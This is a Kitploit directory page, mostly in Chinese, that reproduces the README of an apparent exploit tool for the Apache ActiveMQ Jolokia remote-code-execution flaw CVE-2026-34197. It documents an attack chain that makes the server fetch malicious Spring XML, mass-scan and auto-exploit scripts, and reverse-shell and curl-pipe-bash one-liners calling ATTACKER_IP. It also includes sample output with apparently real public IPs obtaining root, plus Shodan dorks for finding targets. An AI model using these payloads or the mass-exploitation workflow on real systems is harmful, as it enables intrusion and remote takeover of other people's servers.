Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-34197 — Apache ActiveMQ 通过 Jolokia API 实现 RCE 的漏洞利用工具(CVE-2026-34197),支持命令输出捕获、批量扫描和自动利用。 | Kitploit
工具/GitHubGitHub/kondordevsecuritycorp/cve-2026-34197
漏洞扫描器Payload生成漏洞利用Web应用程序漏洞利用渗透测试红队实验室与实践
GitHubkondordevsecuritycorp/cve-2026-34197

CVE-2026-34197

Apache ActiveMQ 通过 Jolokia API 实现 RCE 的漏洞利用工具(CVE-2026-34197),支持命令输出捕获、批量扫描和自动利用。

查看仓库
214个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-34197 CVSS 9.8 RCE Python 3.8+

Apache ActiveMQ Jolokia Spring

CVE-2026-34197

通过 Jolokia API 实现 Apache ActiveMQ 远程代码执行

Author

Stars
Forks
Issues
License

概述 • 详情 • 攻击流程 • 快速开始 • ATTACKER_IP 指南 • 用法 • 输出捕获 • 扫描器 • 侦察 • 检测 • 修复


概述

CVE-2026-34197 是 Apache ActiveMQ Classic 中的一个严重远程代码执行(RCE)漏洞,允许经过身份验证的攻击者通过 Web 控制台暴露的 Jolokia API 执行任意操作系统命令。

该漏洞已存在 超过 13 年,位于 Jolokia(HTTP-JMX 桥接)、ActiveMQ MBeans、网络连接器和 VM 传输之间的交互中。

[!CAUTION] 这是由 KONDOR DEV SECURITY 开发的 首个公开 PoC。仅限在授权的安全评估中使用。

主要特性

  • 命令输出捕获 — 简单命令(id、whoami、cat /etc/passwd)会自动在终端中显示其输出
  • 自动 base64 包装 — 反弹 Shell 和特殊字符无需手动转义即可正常工作
  • 两阶段扫描器(version_check.py)— 多线程版本检测 + 定向利用
  • 认证回退 — 如果凭据失败,自动尝试无认证模式(CVE-2024-32114)
  • 智能代理检测 — 通过 Jolokia 通配符查询自动检测代理名称

漏洞详情

CVE IDCVE-2026-34197
严重性 CVSS 3.1
类型远程代码执行(RCE)
CWECWE-20(输入验证不当)/ CWE-94(代码注入)
受影响版本ActiveMQ Classic < 5.19.4 和 6.0.0 — 6.2.2
已修复版本5.19.4 / 6.2.3
需要认证是(默认凭据 admin:admin 很常见)
无需认证6.0.0 — 6.1.1(由于 CVE-2024-32114)
默认端口8161(Web 控制台)

攻击流程```

root@kitploit:~
                CVE-2026-34197 — Exploitation Chain

──────────────────────────────────────────────────────────────

ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │

root@kitploit:~
### 分步解析

| 步骤 | 操作 | 组件 |
|:----:|--------|-----------|
| **1** | 攻击者向 `/api/jolokia/` 发送 POST 请求,在 Broker MBean 上调用 `addNetworkConnector` | Jolokia API |
| **2** | ActiveMQ 处理 `vm://` 传输 URI,并创建一个临时 broker,其 `brokerConfig` 指向远程 URL | VM 传输 |
| **3** | `xbean:` 方案触发从攻击者服务器下载 Spring XML 配置文件 | Spring / XBean |
| **4** | Spring 实例化 XML 中的所有 bean,包括一个调用 `Runtime.getRuntime().exec()` 的 bean | Spring 上下文 |
| **5** | 对于简单命令,输出会被捕获并通过 HTTP POST 发送回攻击者的监听器(自动) | 输出捕获 |

---

## 项目结构```
CVE-2026-34197/
├── exploit.py             # PoC exploit (single target + mass scan)
├── version_check.py       # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│   └── template.xml       # Spring XML payload template
├── targets.txt            # Target URLs (one per line)
├── docker/
│   └── docker-compose.yml # Vulnerable lab environment
├── docs/
│   ├── HUNTING_GUIDE_EN.md  # Target hunting guide (English)
│   └── HUNTING_GUIDE_ES.md  # Guía de búsqueda (Español)
├── LICENSE
└── README.md

快速开始

前提条件```bash

Python 3.8+ required

pip install requests

root@kitploit:~
### 实验室环境(Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161

运行漏洞利用程序```bash

Single target

python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"

Mass scan from file

python exploit.py -T targets.txt -l YOUR_IP -c "id"

root@kitploit:~
### 扫描器 + 自动利用(推荐用于批量目标)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt

# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"

理解 ATTACKER_IP(-l / --lhost)

-l(或 --lhost)参数对于漏洞利用的成功至关重要。它指定了你的机器将用于提供恶意 Spring XML 载荷的 IP 地址。目标 ActiveMQ 服务器必须能够通过网络访问该 IP 才能下载载荷。

什么是 ATTACKER_IP?

当漏洞被触发时,它会告诉 ActiveMQ:"从 http://ATTACKER_IP:8888/payload.xml 下载你的配置"。然后 ActiveMQ 会向你的机器发起一个出站 HTTP 请求。如果它无法访问到你,漏洞利用将静默失败。``` YOUR MACHINE TARGET (ActiveMQ) ──────────── ───────────────── ATTACKER_IP:8888 ◄──── HTTP GET ──── "fetch xbean:http://ATTACKER_IP:8888/payload.xml" (serves payload.xml) (downloads & executes)

root@kitploit:~
### 如何确定你的 `ATTACKER_IP`

| 场景 | 查找方法 | 示例 |
|----------|---------------|---------|
| **同一局域网**(实验室、内网渗透测试) | 你的本地/私有 IP | `ip a` → `192.168.1.50` |
| **VPN**(HTB、THM、内网) | 你的 VPN 隧道 IP | `ip a show tun0` → `10.10.14.23` |
| **通过互联网攻击远程目标** | 你的公网 IP | `curl ifconfig.me` → `203.0.113.42` |
| **云 VPS**(从服务器发起攻击) | VPS 的公网 IP | 查看你的云服务商控制台 |```bash
# Linux — find your IPs
ip -4 addr show              # All interfaces
ip addr show tun0            # VPN interface (HTB/THM)
ip addr show eth0            # Ethernet / cloud
curl -s ifconfig.me          # Public IP

# Windows
ipconfig                     # All interfaces
(Invoke-WebRequest ifconfig.me).Content   # Public IP (PowerShell)

# macOS
ifconfig en0                 # Wi-Fi
ifconfig utun0               # VPN
curl -s ifconfig.me          # Public IP

常见错误

错误失败原因修复方法
使用 127.0.0.1 或 localhost目标会尝试从自身下载,而不是从你这里使用你的真实网络 IP
对互联网目标使用私有 IP(192.168.x.x)目标无法路由到你的私有网络使用你的公网 IP 或 VPS
使用公网 IP 但端口 8888 被阻止防火墙/NAT 会丢弃来自目标的入站连接在防火墙/路由器中开放端口 8888,或使用 -lp 指定一个已开放的端口
使用了错误的接口 IP(例如,用 eth0 而不是 tun0)目标无法到达该网段匹配与目标之间存在路由的接口

利用前验证连通性

在运行漏洞利用之前,确认目标能够访问你的监听器:```bash

1. Start a quick listener on your machine

python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0', 8888), http.server.SimpleHTTPRequestHandler).serve_forever()"

2. From another machine (or the target's network), try:

curl http://ATTACKER_IP:8888/

If you see a connection in the listener → connectivity confirmed

If timeout → check firewalls, NAT, routing

root@kitploit:~
### 端口转发(NAT 场景)

如果你位于路由器/NAT 之后,并攻击一个面向互联网的目标:```bash
# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues

# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP

# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit

防火墙规则(如有需要)```bash

Linux (iptables)

sudo iptables -A INPUT -p tcp --dport 8888 -j ACCEPT

Linux (ufw)

sudo ufw allow 8888/tcp

Windows (PowerShell as admin)

New-NetFirewallRule -DisplayName "CVE-2026-34197 Listener" -Direction Inbound -Protocol TCP -LocalPort 8888 -Action Allow

root@kitploit:~
### 完整工作流示例```bash
# Step 1: Identify your IP
$ ip addr show tun0
    inet 10.10.14.23/23 ...

# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
  [+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]

# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"

# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444                    # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
    -c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1"   # Terminal 2

[!IMPORTANT] -l 中的 ATTACKER_IP 与反向 shell 命令(/dev/tcp/ATTACKER_IP/4444)中的 ATTACKER_IP 必须是同一个可访问的 IP。如果在反向 shell 命令中使用了不同的 IP,shell 将连接到错误的位置。


使用方法

单个目标```bash

Basic usage with default credentials (admin:admin)

python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"

Custom credentials

python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p secret

Custom HTTP listener port

python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"

No-auth mode (ActiveMQ 6.0.0 — 6.1.1 via CVE-2024-32114)

python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth

Override broker name (if auto-detection fails)

python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --broker-name mybroker

root@kitploit:~
### 批量扫描(多个目标)```bash
# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"

# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt

# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass

targets.txt 文件应每行包含一个 URL:``` http://10.0.0.1:8161 http://10.0.0.2:8161 https://10.0.0.3:8161

root@kitploit:~
批量扫描功能:
- **自动去重** — 重复的 URL 会被自动移除
- **单一 HTTP 服务器** — payload 服务器只启动一次,并为所有目标复用
- **认证回退** — 如果凭据验证失败(401),会自动在无认证的情况下重试(CVE-2024-32114)
- **随机化连接器名称** — 避免目标之间的 JMX 注册冲突
- **增量保存** — 存在漏洞的目标会立即保存(可安全使用 Ctrl+C)
- **HTTPS 支持** — 同时支持 HTTP 和 HTTPS 目标

### 反向 Shell

包含特殊字符(`>`、`&`、`|`、`;`、`$` 等)的反向 Shell 和命令会**自动进行 base64 编码**,以避免 XML/Shell 转义问题。```bash
# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"

# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "curl http://ATTACKER_IP/shell.sh | bash"

# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

注意: 在运行漏洞利用之前先启动你的监听器:nc -lvnp 4444

命令输出捕获

exploit.py 和 version_check.py 都可以自动捕获并显示命令输出,适用于 id、whoami、cat /etc/passwd、hostname 等简单命令。

工作原理

当你运行一个简单命令时,漏洞利用程序会自动将其包装,通过 HTTP POST 将 stdout/stderr 发送回你的监听器:``` YOUR MACHINE (ATTACKER_IP:8888) TARGET (ActiveMQ) ─────────────────────────────── ─────────────────

  1. ◄── GET /payload.xml ─────────────────── Downloads XML payload
  2. root@kitploit:~
    (payload served)                      Executes wrapped command:
                                            OUTPUT=$(id 2>&1)
                                            curl -s -X POST http://ATTACKER:8888/output -d "$OUTPUT"
    
  3. ◄── POST /output ────────────────────── Sends command output back
  4. root@kitploit:~
    Displays: "uid=0(root) gid=0(root)..."
    
root@kitploit:~
#### 带输出的示例```bash
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"

  [*] Target:    http://10.129.45.67:8161
  [*] Command:   id
  [*] Output:    capture enabled (will POST back to listener)
  [*] Broker:    localhost
  [*] Auth:      admin

  [*] Sending request to Jolokia...
  [+] Jolokia accepted the operation (status=200)
  [*] Waiting for the target to download the payload...
  [+] Payload served to 10.129.45.67
  [+] Target downloaded the payload. Command executed.
  [*] Waiting for command output...
  [+] Command output received:
  ──────────────────────────────────────────────────
  uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────

自动检测:输出被捕获与未被捕获的情况

命令类型示例行为
简单命令id、whoami、cat /etc/passwd、ls -la、uname -a输出被捕获并自动显示
反弹 Shellbash -i >& /dev/tcp/...、nc ... -e /bin/sh、mkfifo...被检测为交互式 — 不进行包装,按原样工作
使用 curl/wget 的命令curl http://...、wget http://...被检测为交互式 — 不进行包装,以避免干扰

检测是自动的。你无需传递任何额外标志。

目标系统上的要求

输出捕获要求目标系统上存在 curl 或 wget。如果两者都不可用:

  • 命令仍会执行(RCE 仍然有效)
  • 只是你看不到输出(“等待命令输出...”消息将在 10 秒后超时)
  • 改用反弹 Shell 以获得完整交互

[!TIP] 大多数 Linux 系统(以及 ActiveMQ Docker 镜像)都预装了 curl。如果输出捕获超时但 RCE 已确认,则目标很可能缺少 curl 和 wget。

参数

标志描述默认值
-t, --target单个目标 URL—
-T, --targets-file包含目标 URL 的文件(每行一个)—
-l, --lhost用于提供 payload 的攻击者 IP必填
-lp, --lport本地 HTTP 服务器端口8888
-c, --command要执行的 OS 命令必填
-u, --userJolokia 用户名admin
-p, --passwordJolokia 密码admin
--no-auth跳过身份验证false
--broker-nameBroker 名称覆盖自动检测
-o, --output易受攻击目标的输出文件vulnerables.txt
--timeout-wait等待 payload 下载的秒数15

注意: -t 和 -T 互斥。请使用其中一个。


版本扫描器 + 自动利用(version_check.py)

多目标场景的推荐工具。一个两阶段流水线,首先检测所有目标的 ActiveMQ 版本(快速、多线程),然后通过 payload 回调进行真实 RCE 验证,自动利用仅易受攻击的目标。

何时使用 version_check.py 与 exploit.py

场景工具原因
你有一个目标列表,想找出哪些易受攻击version_check.py先扫描版本(快速),然后仅利用易受攻击的目标
你想仅扫描而不利用(仅侦察)version_check.py省略 -l/-c 以进入仅扫描模式
你有一个已确认的单个目标exploit.py更简单、直接利用
你想立即利用某个特定主机exploit.py无扫描开销
你有来自 Shodan/LeakIX 的 100+ 个目标version_check.py多线程阶段 1 可在数秒内处理大型列表

工作原理 — 两个阶段```

┌─────────────────────────────────────────────────────────┐ │ PHASE 1 — Version Detection (fast, multithreaded) │ │ │ │ targets.txt ──→ 10 threads query Jolokia in parallel │ │ GET .../BrokerVersion │ │ │ │ For each target: │ │ 1. Try auth (admin:admin) │ │ 2. If 401 → retry without auth (CVE-2024-32114) │ │ 3. If brokerName=localhost fails → try wildcard (*) │ │ 4. Extract: version, real broker name, working auth │ │ 5. Classify: [VULNERABLE] or [PATCHED] │ │ │ │ Output: list of vulnerable candidates with metadata │ └──────────────────────┬──────────────────────────────────┘ │ only vulnerable targets ▼ ┌─────────────────────────────────────────────────────────┐ │ PHASE 2 — RCE Verification (sequential, with callback) │ │ (only runs if -l and -c are provided) │ │ │ │ For each vulnerable target: │ │ 1. Generate Spring XML payload with command │ │ 2. Send addNetworkConnector via Jolokia │ │ 3. Wait for target to download payload (callback) │ │ 4. If callback received → RCE CONFIRMED │ │ │ │ Output: confirmados.txt with RCE-confirmed targets │ └─────────────────────────────────────────────────────────┘

root@kitploit:~
### 版本分类逻辑

扫描器会根据受影响范围自动对版本进行分类:

| 版本 | 分类 |
|---------|---------------|
| `< 5.19.4`(例如 5.15.9、5.18.6) | `[VULNERABLE]` |
| `>= 5.19.4`(例如 5.19.4、5.20.0) | `[PATCHED]` |
| `6.0.0` 至 `6.2.2` | `[VULNERABLE]` |
| `>= 6.2.3` | `[PATCHED]` |

### 分步使用指南

#### 第 1 步 — 准备目标文件

创建一个 `targets.txt` 文件,每行一个 URL。重复项会自动移除。```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161

[!TIP] 使用 Hunting Guides 通过 Shodan、LeakIX、FOFA、Censys 或 Google Dorks 查找目标。

第 2 步 — 仅扫描模式(侦察,不进行利用)

如果你只想识别哪些目标存在漏洞而不进行利用,请省略 -l 和 -c:```bash python version_check.py -T targets.txt

root@kitploit:~
此操作**仅运行阶段 1**。不会启动 HTTP 服务器,不会发送载荷,也不会执行命令。输出文件将包含每个易受攻击目标的版本信息:```
http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker

你可以通过增加线程数来提高扫描速度:```bash python version_check.py -T targets.txt --threads 20

root@kitploit:~
#### 步骤 3 — 扫描 + 自动利用(完整流程)

要在一次运行中完成扫描**并**利用,请添加 `-l`(你的 ATTACKER_IP)和 `-c`(命令):```bash
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"

此操作会同时运行两个阶段:

  1. 阶段 1 扫描所有目标以获取版本信息(多线程,速度快)
  2. 阶段 2 仅利用标记为 [VULNERABLE] 的目标(顺序执行,带回调验证)

[!IMPORTANT] ATTACKER_IP 必须可从目标访问。目标 ActiveMQ 服务器将向 http://ATTACKER_IP:8888/payload.xml 发起出站 HTTP 请求。有关选择正确 IP 的详细信息,请参阅 ATTACKER_IP 指南。

步骤 4 — 检查结果

已确认存在漏洞的目标会增量保存到输出文件中(默认:confirmados.txt):``` http://52.234.160.12:8161 | 5.15.9 | admin

root@kitploit:~
`URL | 版本 | 认证方式`。然后你可以将这些单独与 `exploit.py` 结合使用,进行进一步的后渗透利用。

### 使用示例```bash
# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt

# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"

# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20

# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999

# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
#   nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth

# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30

# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
  --threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt

ATTACKER_IP 在 version_check.py 中如何工作

-l 参数的行为与 exploit.py 中完全一致,但有一个关键区别:HTTP 服务器只启动一次,并在阶段 2 中对所有目标重复使用。``` YOUR MACHINE (ATTACKER_IP) TARGETS ────────────────────────── ─────── HTTP server on :8888 Target 1 (v5.15.9) ──→ GET /payload.xml ──→ YOUR_IP:8888 (started once, reused) Target 2 (v5.18.6) ──→ GET /payload.xml ──→ YOUR_IP:8888 Target 3 (v6.2.3) ──→ [PATCHED, skipped]

root@kitploit:~
**阶段 1 不需要 `ATTACKER_IP`** —— 它仅查询 Jolokia 获取版本信息。你可以单独运行阶段 1 进行侦察,而不会暴露你的 IP。

**阶段 2 需要 `ATTACKER_IP`** —— 目标必须能够访问你的 HTTP 服务器以下载载荷。如果目标无法访问你,它将超时(默认:15 秒)并被标记为“未收到回调”——但这并不一定意味着它不存在漏洞(防火墙可能阻止出站流量)。

### 参数

| 标志 | 描述 | 默认值 |
|------|-------------|---------|
| `-T, --targets-file` | 包含目标 URL 的文件(每行一个) | *必填* |
| `-l, --lhost` | 用于回调的攻击者 IP(启用阶段 2) | — |
| `-c, --command` | 要执行的命令(启用阶段 2) | — |
| `-lp, --lport` | 本地 HTTP 服务器端口 | `8888` |
| `-o, --output` | 已确认目标的输出文件 | `confirmados.txt` |
| `-u, --user` | Jolokia 用户名 | `admin` |
| `-p, --password` | Jolokia 密码 | `admin` |
| `--no-auth` | 跳过身份验证 | `false` |
| `--threads` | 阶段 1 的并发线程数 | `10` |
| `--timeout` | 阶段 1 中每个请求的超时时间 | `10s` |
| `--wait` | 阶段 2 中等待回调的秒数 | `15s` |

> **注意:** 必须同时提供 `-l` 和 `-c` 才能启用阶段 2。如果缺少任一参数,则仅运行阶段 1(扫描)。

### 功能特性

- **两阶段流水线** —— 先快速扫描版本,再进行针对性利用
- **多线程阶段 1** —— 数秒内扫描数百个目标
- **智能代理检测** —— 处理 `brokerName=*` 通配符响应,从 MBean 键中提取真实代理名称
- **身份验证回退** —— 如果 `admin:admin` 失败(401),则无身份验证重试(CVE-2024-32114)
- **随机化连接器名称** —— 避免 JMX 冲突(每个目标唯一的 `rce{random8}`)
- **自动 base64 包装** —— 反向 shell 和特殊字符开箱即用
- **增量保存** —— 已确认目标立即保存(扫描中途可安全按 Ctrl+C)
- **仅扫描模式** —— 省略 `-l`/`-c` 仅检测版本而不进行利用
- **版本分类** —— 根据受影响范围标记 `[VULNERABLE]` / `[PATCHED]`
- **单一 HTTP 服务器** —— 在阶段 2 中启动一次,供所有目标复用(无端口冲突)

### 使用 `version_check.py` 发送反向 shell

使用 `version_check.py` 发送反向 shell 时,你需要**同时运行两件事**:

1. 你机器上的一个 **netcat 监听器**,等待传入的 shell 连接
2. 用于扫描和利用目标的 **version_check.py** 命令

监听器端口(`nc -lvnp PORT`)**必须与**反向 shell 命令中的端口(`/dev/tcp/ATTACKER_IP/PORT`)**匹配**。```
  YOUR MACHINE (ATTACKER_IP)
  ──────────────────────────
  Terminal 1:  nc -lvnp 4444          ◄── Listening for reverse shell on port 4444
  Terminal 2:  version_check.py ...   ──► Scans targets, exploits vulnerable ones
                                          └─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
                                                                                  ▲
  TARGET (ActiveMQ)                                                               │
  ─────────────────                                                               │
  Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘

分步指南```bash

──── Terminal 1: Start the listener FIRST ────

The port here (4444) must match the port in the -c command

nc -lvnp 4444

──── Terminal 2: Run the scanner + exploit ────

python version_check.py -T targets.txt -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

root@kitploit:~
#### 使用不同的端口

只要双方端口一致,你可以使用任何你想要的端口:```bash
# Terminal 1: listener on port 9001
nc -lvnp 9001

# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"

备选反向 Shell 单行命令```bash

Netcat reverse shell (listener: nc -lvnp 4444)

python version_check.py -T targets.txt -l ATTACKER_IP
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"

Python reverse shell (listener: nc -lvnp 4444)

python version_check.py -T targets.txt -l ATTACKER_IP
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"

root@kitploit:~
> [!WARNING]
> **避免端口混淆:** 该漏洞利用使用**两个不同的端口**,分别用于两种不同用途:
> - `-lp`(默认 `8888`)— HTTP 服务器端口,ActiveMQ 在此下载 XML 载荷。此端口由脚本自动处理。
> - `/dev/tcp/.../4444` 中的端口 — 反向 Shell 回调端口,由你使用 `nc` 监听。这是你需要自行开放的端口。
>
> 这两个端口是**相互独立**的。不要混淆它们。你需要运行 `nc -lvnp 4444` 来接收 Shell,而脚本会在内部处理 `:8888`。

### 示例输出```
  ╔═══════════════════════════════════════════════════════════╗
  ║  CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit        ║
  ║  Phase 1: Version Detection (fast, multithreaded)        ║
  ║  Phase 2: RCE Verification (exploit + callback)          ║
  ║  By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY        ║
  ╚═══════════════════════════════════════════════════════════╝

[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id

════════════════════════════════════════════════════════════
  PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════

  [+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
  [+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
  [+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
  [-] [4/124] http://167.172.150.143:8161 → 401
  [-] [5/124] http://198.44.176.205:8161 → Connection refused

[*] Phase 1 complete: 3 with version, 3 vulnerable by version

════════════════════════════════════════════════════════════
  PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════

[+] HTTP server on 0.0.0.0:8888

  [1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [+] Payload downloaded by 52.234.160.12
    [+] Command output:
    ──────────────────────────────────────────────
    uid=0(root) gid=0(root) groups=0(root)
    ──────────────────────────────────────────────
    [+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)

  [2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [*] No callback received within 15s

  [3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [+] Payload downloaded by 146.190.139.20
    [+] Command output:
    ──────────────────────────────────────────────
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ──────────────────────────────────────────────
    [+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)

════════════════════════════════════════════════════════════
  FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned:           124
[*] Version detected:        3
[*] Vulnerable by version:   3
[+] RCE CONFIRMED:           2

[+] Saved to: confirmed.txt

    ✓ http://52.234.160.12:8161 | v5.15.9 | admin
    ✓ http://146.190.139.20:8161 | v5.15.6 | admin

理解阶段 2 的结果

阶段 2 结果含义下一步
RCE CONFIRMED + Command output:目标执行了命令并返回了输出完全成功——你可以直接看到输出
RCE CONFIRMED(无输出)目标下载了载荷,但未收到输出RCE 可用,但目标上可能缺少 curl/wget;改用反向 Shell
No callback received within Ns目标未在时限内访问你的 HTTP 服务器检查 ATTACKER_IP 的可达性、防火墙,或增加 --wait
Jolokia accepted (status=200)Jolokia 成功处理了请求好迹象——等待回调
Jolokia status=500: ...Jolokia 返回了错误仍可能有效(即使返回 500,XML 下载仍可能发生);检查日志
HTTP 401该目标的认证失败目标需要不同的凭据
HTTP 403Jolokia 受到限制目标有 ACL——此方法无法利用
Connection refused / Timeout目标不可达网络问题或目标已宕机

大规模评估的推荐工作流程```bash

1. Collect targets from Shodan (see Hunting Guides)

shodan search "ActiveMQ port:8161" --fields ip_str,port > raw_targets.txt

2. Format into targets.txt (one URL per line)

awk '{print "http://"$1}' raw_targets.txt > targets.txt

3. Phase 1 only — quick recon, no exploitation

python version_check.py -T targets.txt --threads 20

Review output: which are vulnerable, which auth works

4. Full pipeline — scan + exploit with a safe command

python version_check.py -T targets.txt -l ATTACKER_IP -c "id"

5. For confirmed targets, get reverse shells individually

nc -lvnp 4444 # Terminal 1 python exploit.py -t http://CONFIRMED_TARGET:8161 -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # Terminal 2

root@kitploit:~
## 狩猎与侦察

查找暴露的 Apache ActiveMQ 实例的详细指南,使用 **Shodan**、**LeakIX**、**FOFA**、**Censys**、**ZoomEye** 和 **Google Dorks** —— 包括特定版本的 dorks、Jolokia 检测、CLI/API 用法、目标验证步骤、SIEM/IDS 规则以及修复优先级。

<table>
<tr>
<td align="center">
<a href="docs/HUNTING_GUIDE_EN.md"><img src="https://img.shields.io/badge/Hunting%20Guide-English%20%F0%9F%87%AC%F0%9F%87%A7-2196F3?style=for-the-badge" alt="English"/></a>
</td>
<td align="center">
<a href="docs/HUNTING_GUIDE_ES.md"><img src="https://img.shields.io/badge/Gu%C3%ADa%20de%20B%C3%BAsqueda-Espa%C3%B1ol%20%F0%9F%87%AA%F0%9F%87%B8-FF9800?style=for-the-badge" alt="Español"/></a>
</td>
</tr>
</table>

### 快速 Shodan Dorks```
"ActiveMQ" port:8161                                          # All exposed consoles
http.title:"Apache ActiveMQ"                                  # By page title
"ActiveMQ" http.html:"jolokia" port:8161                      # Jolokia exposed (attack vector)
